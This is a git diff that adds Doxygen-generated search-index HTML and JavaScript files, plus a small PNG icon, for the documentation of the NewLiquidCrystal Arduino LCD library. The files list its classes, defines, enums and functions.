+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/classes_0.js b/libraries/NewliquidCrystal/utility/docs/html/search/classes_0.js new file mode 100644 index 0000000..832b268 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/classes_0.js @@ -0,0 +1,4 @@ +var searchData= +[ + ['i2cio',['I2CIO',['../class_i2_c_i_o.html',1,'']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/classes_1.html b/libraries/NewliquidCrystal/utility/docs/html/search/classes_1.html new file mode 100644 index 0000000..f5a65ad --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/classes_1.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/classes_1.js b/libraries/NewliquidCrystal/utility/docs/html/search/classes_1.js new file mode 100644 index 0000000..4ad1e1b --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/classes_1.js @@ -0,0 +1,12 @@ +var searchData= +[ + ['lcd',['LCD',['../class_l_c_d.html',1,'']]], + ['liquidcrystal',['LiquidCrystal',['../class_liquid_crystal.html',1,'']]], + ['liquidcrystal_5fi2c',['LiquidCrystal_I2C',['../class_liquid_crystal___i2_c.html',1,'']]], + ['liquidcrystal_5fi2c_5fbyvac',['LiquidCrystal_I2C_ByVac',['../class_liquid_crystal___i2_c___by_vac.html',1,'']]], + ['liquidcrystal_5fsi2c',['LiquidCrystal_SI2C',['../class_liquid_crystal___s_i2_c.html',1,'']]], + ['liquidcrystal_5fsr',['LiquidCrystal_SR',['../class_liquid_crystal___s_r.html',1,'']]], + ['liquidcrystal_5fsr1w',['LiquidCrystal_SR1W',['../class_liquid_crystal___s_r1_w.html',1,'']]], + ['liquidcrystal_5fsr2w',['LiquidCrystal_SR2W',['../class_liquid_crystal___s_r2_w.html',1,'']]], + ['liquidcrystal_5fsr3w',['LiquidCrystal_SR3W',['../class_liquid_crystal___s_r3_w.html',1,'']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/classes_2.html b/libraries/NewliquidCrystal/utility/docs/html/search/classes_2.html new file mode 100644 index 0000000..5b89b27 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/classes_2.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/classes_2.js b/libraries/NewliquidCrystal/utility/docs/html/search/classes_2.js new file mode 100644 index 0000000..0d2007c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/classes_2.js @@ -0,0 +1,4 @@ +var searchData= +[ + ['si2cio',['SI2CIO',['../class_s_i2_c_i_o.html',1,'']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/classes_69.html b/libraries/NewliquidCrystal/utility/docs/html/search/classes_69.html new file mode 100644 index 0000000..48921d3 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/classes_69.html @@ -0,0 +1,25 @@ + + + + + + + +
+
Loading...
+
+
+ I2CIO +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/classes_6c.html b/libraries/NewliquidCrystal/utility/docs/html/search/classes_6c.html new file mode 100644 index 0000000..1372c59 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/classes_6c.html @@ -0,0 +1,60 @@ + + + + + + + +
+
Loading...
+
+
+ LCD +
+
+
+ +
+ + + + + + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/close.png b/libraries/NewliquidCrystal/utility/docs/html/search/close.png new file mode 100644 index 0000000000000000000000000000000000000000..9342d3dfeea7b7c4ee610987e717804b5a42ceb9 GIT binary patch literal 273 zcmV+s0q*{ZP)4(RlMby96)VwnbG{ zbe&}^BDn7x>$<{ck4zAK-=nT;=hHG)kmplIF${xqm8db3oX6wT3bvp`TE@m0cg;b) zBuSL}5?N7O(iZLdAlz@)b)Rd~DnSsSX&P5qC`XwuFwcAYLC+d2>+1(8on;wpt8QIC X2MT$R4iQDd00000NkvXXu0mjfia~GN literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/defines_5f.html b/libraries/NewliquidCrystal/utility/docs/html/search/defines_5f.html new file mode 100644 index 0000000..8a9b6d1 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/defines_5f.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ _I2CIO_VERSION + I2CIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/defines_61.html b/libraries/NewliquidCrystal/utility/docs/html/search/defines_61.html new file mode 100644 index 0000000..64e6e11 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/defines_61.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ ATOMIC_BLOCK + FastIO.h +
+
+
+
+ ATOMIC_RESTORESTATE + FastIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/defines_62.html b/libraries/NewliquidCrystal/utility/docs/html/search/defines_62.html new file mode 100644 index 0000000..e65a734 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/defines_62.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ BACKLIGHT_OFF + LCD.h +
+
+
+
+ BACKLIGHT_ON + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/defines_63.html b/libraries/NewliquidCrystal/utility/docs/html/search/defines_63.html new file mode 100644 index 0000000..d74c25d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/defines_63.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ COMMAND + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/defines_64.html b/libraries/NewliquidCrystal/utility/docs/html/search/defines_64.html new file mode 100644 index 0000000..f47ef02 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/defines_64.html @@ -0,0 +1,62 @@ + + + + + + + +
+
Loading...
+ + + + +
+
+ DATA + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/defines_65.html b/libraries/NewliquidCrystal/utility/docs/html/search/defines_65.html new file mode 100644 index 0000000..7ac4e79 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/defines_65.html @@ -0,0 +1,35 @@ + + + + + + + +
+
Loading...
+ +
+
+ EXEC_TIME + LiquidCrystal.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/defines_66.html b/libraries/NewliquidCrystal/utility/docs/html/search/defines_66.html new file mode 100644 index 0000000..6225879 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/defines_66.html @@ -0,0 +1,56 @@ + + + + + + + +
+
Loading...
+
+
+ fio_digitalWrite_HIGH + FastIO.h +
+
+
+
+ fio_digitalWrite_LOW + FastIO.h +
+
+
+
+ fio_digitalWrite_SWITCH + FastIO.h +
+
+
+
+ fio_digitalWrite_SWITCHTO + FastIO.h +
+
+
+
+ FIO_FALLBACK + FastIO.h +
+
+
+
+ FOUR_BITS + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/defines_68.html b/libraries/NewliquidCrystal/utility/docs/html/search/defines_68.html new file mode 100644 index 0000000..28e210e --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/defines_68.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ HOME_CLEAR_EXEC + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/defines_6c.html b/libraries/NewliquidCrystal/utility/docs/html/search/defines_6c.html new file mode 100644 index 0000000..525e0b4 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/defines_6c.html @@ -0,0 +1,219 @@ + + + + + + + +
+
Loading...
+
+
+ LCD_1LINE + LCD.h +
+
+
+
+ LCD_2LINE + LCD.h +
+
+
+
+ LCD_4BIT + LiquidCrystal.cpp +
+
+
+
+ LCD_4BITMODE + LCD.h +
+
+
+
+ LCD_5x10DOTS + LCD.h +
+
+
+
+ LCD_5x8DOTS + LCD.h +
+
+
+
+ LCD_8BIT + LiquidCrystal.cpp +
+
+
+
+ LCD_8BITMODE + LCD.h +
+
+ +
+
+ LCD_BLINKOFF + LCD.h +
+
+
+
+ LCD_BLINKON + LCD.h +
+
+
+
+ LCD_CLEARDISPLAY + LCD.h +
+
+
+
+ LCD_CURSORMOVE + LCD.h +
+
+
+
+ LCD_CURSOROFF + LCD.h +
+
+
+
+ LCD_CURSORON + LCD.h +
+
+
+
+ LCD_CURSORSHIFT + LCD.h +
+
+
+
+ LCD_DISPLAYCONTROL + LCD.h +
+
+
+
+ LCD_DISPLAYMOVE + LCD.h +
+
+
+
+ LCD_DISPLAYOFF + LCD.h +
+
+
+
+ LCD_DISPLAYON + LCD.h +
+
+
+
+ LCD_ENTRYLEFT + LCD.h +
+
+
+
+ LCD_ENTRYMODESET + LCD.h +
+
+
+
+ LCD_ENTRYRIGHT + LCD.h +
+
+
+ +
+
+ +
+
+
+ LCD_FUNCTIONSET + LCD.h +
+
+
+
+ LCD_MOVELEFT + LCD.h +
+
+
+
+ LCD_MOVERIGHT + LCD.h +
+
+ +
+
+ LCD_RETURNHOME + LCD.h +
+
+
+
+ LCD_SETCGRAMADDR + LCD.h +
+
+
+
+ LCD_SETDDRAMADDR + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/defines_72.html b/libraries/NewliquidCrystal/utility/docs/html/search/defines_72.html new file mode 100644 index 0000000..091148d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/defines_72.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+ + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/defines_73.html b/libraries/NewliquidCrystal/utility/docs/html/search/defines_73.html new file mode 100644 index 0000000..e33c996 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/defines_73.html @@ -0,0 +1,134 @@ + + + + + + + +
+
Loading...
+
+
+ SKIP + FastIO.h +
+
+
+
+ SR1W_ATOMIC_WRITE_HIGH + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_ATOMIC_WRITE_LOW + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_BL_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_D4_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_D5_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_D6_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_D7_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_DELAY + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_DELAY_US + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_EN_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_RS_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR1W_UNUSED_MASK + LiquidCrystal_SR1W.h +
+
+
+
+ SR2W_BL_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR2W_DATA_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR2W_EN_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR2W_RS_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR_EN_BIT + LiquidCrystal_SR.h +
+
+
+
+ SR_RS_BIT + LiquidCrystal_SR.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/defines_74.html b/libraries/NewliquidCrystal/utility/docs/html/search/defines_74.html new file mode 100644 index 0000000..ba27d7f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/defines_74.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ TWO_WIRE + LiquidCrystal_SR.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/enums_74.html b/libraries/NewliquidCrystal/utility/docs/html/search/enums_74.html new file mode 100644 index 0000000..0de07b9 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/enums_74.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ t_backlighPol + LCD.h +
+
+
+
+ t_sr1w_circuitType + LiquidCrystal_SR1W.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_68.html b/libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_68.html new file mode 100644 index 0000000..ea6214c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_68.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ HW_CLEAR + LiquidCrystal_SR1W.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_6e.html b/libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_6e.html new file mode 100644 index 0000000..13de3f4 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_6e.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ NEGATIVE + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_70.html b/libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_70.html new file mode 100644 index 0000000..ccfeb29 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_70.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ POSITIVE + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_73.html b/libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_73.html new file mode 100644 index 0000000..224f311 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/enumvalues_73.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ SW_CLEAR + LiquidCrystal_SR1W.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/files_66.html b/libraries/NewliquidCrystal/utility/docs/html/search/files_66.html new file mode 100644 index 0000000..2eeecab --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/files_66.html @@ -0,0 +1,30 @@ + + + + + + + +
+
Loading...
+
+ +
+
+
+ FastIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/files_69.html b/libraries/NewliquidCrystal/utility/docs/html/search/files_69.html new file mode 100644 index 0000000..6d0e429 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/files_69.html @@ -0,0 +1,30 @@ + + + + + + + +
+
Loading...
+
+
+ I2CIO.cpp +
+
+
+
+ I2CIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/files_6c.html b/libraries/NewliquidCrystal/utility/docs/html/search/files_6c.html new file mode 100644 index 0000000..35127c6 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/files_6c.html @@ -0,0 +1,100 @@ + + + + + + + +
+
Loading...
+
+
+ LCD.cpp +
+
+
+
+ LCD.h +
+
+ + + + + + + + + + + + + + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_0.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_0.html new file mode 100644 index 0000000..246d167 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_0.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_0.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_0.js new file mode 100644 index 0000000..ce610fc --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_0.js @@ -0,0 +1,4 @@ +var searchData= +[ + ['autoscroll',['autoscroll',['../class_l_c_d.html#abb3ed88d530f6283e6159b4973e7da9e',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_1.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_1.html new file mode 100644 index 0000000..5f14d67 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_1.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_1.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_1.js new file mode 100644 index 0000000..83cdee9 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_1.js @@ -0,0 +1,6 @@ +var searchData= +[ + ['backlight',['backlight',['../class_l_c_d.html#aba8867fe2210cbfa8db869208709be10',1,'LCD']]], + ['begin',['begin',['../class_i2_c_i_o.html#a6f814653d903dc2ff6e8420eeb7954ae',1,'I2CIO::begin()'],['../class_l_c_d.html#a3f587d1cbb2d59765ef60a5216b56fea',1,'LCD::begin()'],['../class_liquid_crystal___i2_c.html#aeee2ada537f0cfbfda8613324b57c4a6',1,'LiquidCrystal_I2C::begin()'],['../class_liquid_crystal___i2_c___by_vac.html#a34ce9cf919b9f8de59f842a4e94c1abb',1,'LiquidCrystal_I2C_ByVac::begin()'],['../class_liquid_crystal___s_i2_c.html#a74fde8669f097755a6e8a376bb2877cb',1,'LiquidCrystal_SI2C::begin()'],['../class_s_i2_c_i_o.html#aef6df8409b67bda118c2e055af3d6f47',1,'SI2CIO::begin()']]], + ['blink',['blink',['../class_l_c_d.html#a878b36878fa8287093964eba83aace77',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_2.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_2.html new file mode 100644 index 0000000..3995cf8 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_2.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_2.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_2.js new file mode 100644 index 0000000..ab2366a --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_2.js @@ -0,0 +1,6 @@ +var searchData= +[ + ['clear',['clear',['../class_l_c_d.html#afa699e0beeeee03cce8cef87eba81c4a',1,'LCD']]], + ['createchar',['createChar',['../class_l_c_d.html#a91cba8f93c692abcddf8bc3de58d2d3a',1,'LCD']]], + ['cursor',['cursor',['../class_l_c_d.html#a194814f64dfa50a90e07e0fe0d361620',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_3.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_3.html new file mode 100644 index 0000000..4e302d6 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_3.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_3.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_3.js new file mode 100644 index 0000000..a4ce9dc --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_3.js @@ -0,0 +1,6 @@ +var searchData= +[ + ['digitalread',['digitalRead',['../class_i2_c_i_o.html#ac26221011a8b49bcea9ef62712ea88a7',1,'I2CIO::digitalRead()'],['../class_s_i2_c_i_o.html#a15fe6d174fb001bca7866004e96f0b33',1,'SI2CIO::digitalRead()']]], + ['digitalwrite',['digitalWrite',['../class_i2_c_i_o.html#a473206162522b847546777d16a7c6dcd',1,'I2CIO::digitalWrite()'],['../class_s_i2_c_i_o.html#ae1e3c6fd22872f248de6a90af27d92de',1,'SI2CIO::digitalWrite()']]], + ['display',['display',['../class_l_c_d.html#a5b07cf05e8e5e7c53654f5ca0cf58b89',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_4.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_4.html new file mode 100644 index 0000000..58ca83a --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_4.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_4.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_4.js new file mode 100644 index 0000000..1edeee2 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_4.js @@ -0,0 +1,4 @@ +var searchData= +[ + ['home',['home',['../class_l_c_d.html#aee45ad37f09312f5d9982257e2d37e68',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_5.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_5.html new file mode 100644 index 0000000..5f9f05a --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_5.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_5.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_5.js new file mode 100644 index 0000000..e7e32f4 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_5.js @@ -0,0 +1,4 @@ +var searchData= +[ + ['i2cio',['I2CIO',['../class_i2_c_i_o.html#a32eb7832075ad6011d67874405a0d0a6',1,'I2CIO']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_6.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6.html new file mode 100644 index 0000000..c980da2 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_6.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6.js new file mode 100644 index 0000000..72c3497 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6.js @@ -0,0 +1,13 @@ +var searchData= +[ + ['lcd',['LCD',['../class_l_c_d.html#a00bb2db1390721abc7b24ac4b8c276c8',1,'LCD']]], + ['lefttoright',['leftToRight',['../class_l_c_d.html#a238e9f6476dc7df64af04eb6c87f6ac7',1,'LCD']]], + ['liquidcrystal',['LiquidCrystal',['../class_liquid_crystal.html#a49d2bd8d26031a1c83bcbd73978a1686',1,'LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)'],['../class_liquid_crystal.html#a0a0a8dfa7a2e775a031fd65f5c6366ec',1,'LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)']]], + ['liquidcrystal_5fi2c',['LiquidCrystal_I2C',['../class_liquid_crystal___i2_c.html#aac537d195557e0b8afac1a71441a484c',1,'LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr)'],['../class_liquid_crystal___i2_c.html#a517f8847ebf09f0eacfb9c7232975fce',1,'LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)'],['../class_liquid_crystal___i2_c.html#a7d9b54d3a91fa0e0e50db27cda6b4654',1,'LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)']]], + ['liquidcrystal_5fi2c_5fbyvac',['LiquidCrystal_I2C_ByVac',['../class_liquid_crystal___i2_c___by_vac.html#a29c027cc8bfa78bb8d9ff3124fe83a31',1,'LiquidCrystal_I2C_ByVac']]], + ['liquidcrystal_5fsi2c',['LiquidCrystal_SI2C',['../class_liquid_crystal___s_i2_c.html#ac77c2e6cca626aeae8838769fb70f7be',1,'LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr)'],['../class_liquid_crystal___s_i2_c.html#aa1a837dec506f9c459605c7bd4b7fe8c',1,'LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)'],['../class_liquid_crystal___s_i2_c.html#ac0e7a4841e03a4e4916c66ff48ea53e9',1,'LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)']]], + ['liquidcrystal_5fsr',['LiquidCrystal_SR',['../class_liquid_crystal___s_r.html#ac3fe0b48f8d4c1c941d82d1333495cfc',1,'LiquidCrystal_SR']]], + ['liquidcrystal_5fsr1w',['LiquidCrystal_SR1W',['../class_liquid_crystal___s_r1_w.html#a33bff2c123d3dc42a829b0f8034912c9',1,'LiquidCrystal_SR1W']]], + ['liquidcrystal_5fsr2w',['LiquidCrystal_SR2W',['../class_liquid_crystal___s_r2_w.html#af307fdf5c8feb757e965074dcdeb1dd3',1,'LiquidCrystal_SR2W']]], + ['liquidcrystal_5fsr3w',['LiquidCrystal_SR3W',['../class_liquid_crystal___s_r3_w.html#ae1396bcd5e9c5b7ed13182c166de776b',1,'LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe)'],['../class_liquid_crystal___s_r3_w.html#a4fab8ff2f21bba3efd133cd8c87fffc0',1,'LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_61.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_61.html new file mode 100644 index 0000000..7fb674c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_61.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ autoscroll + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_62.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_62.html new file mode 100644 index 0000000..0e2cb17 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_62.html @@ -0,0 +1,43 @@ + + + + + + + +
+
Loading...
+
+
+ backlight + LCD +
+
+ + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_63.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_63.html new file mode 100644 index 0000000..118cc32 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_63.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+
+
+ clear + LCD +
+
+
+
+ createChar + LCD +
+
+
+
+ cursor + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_64.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_64.html new file mode 100644 index 0000000..ba77ba3 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_64.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+
+
+ digitalRead + I2CIO +
+
+
+
+ digitalWrite + I2CIO +
+
+
+
+ display + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_65.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_65.html new file mode 100644 index 0000000..86ec5ea --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_65.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ expanderWrite + LiquidCrystal_I2C +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_66.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_66.html new file mode 100644 index 0000000..8cdaa77 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_66.html @@ -0,0 +1,98 @@ + + + + + + + +
+
Loading...
+ + + + + + + + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_68.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_68.html new file mode 100644 index 0000000..15aec73 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_68.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ home + LCD +
+
+
Searching...
+
No Matches
+ +
